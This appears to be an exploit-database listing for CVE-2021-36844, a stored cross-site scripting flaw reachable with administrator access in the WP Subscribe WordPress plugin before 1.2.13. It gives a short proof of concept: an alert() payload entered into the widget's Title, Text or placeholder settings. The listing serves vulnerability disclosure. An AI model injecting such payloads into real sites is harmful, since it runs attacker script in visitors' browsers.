Exploit for WP Subscribe < 1.2.13 - Admin+ Stored Cross-Site Scripting CVE-2021-36844

Name: Exploit for WP Subscribe < 1.2.13 - Admin+ Stored Cross-Site Scripting CVE-2021-36844
Rating: 5 (77 reviews)

2022-05-02 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:55171AF5-736F-41ED-BFB0-E3162214F0E6
Add the widget of the plugin to a page, and put the following payload in settings such as "Title", "Text", "Email Placeholder" etc: "><img src onerror=alert(/XSS/)>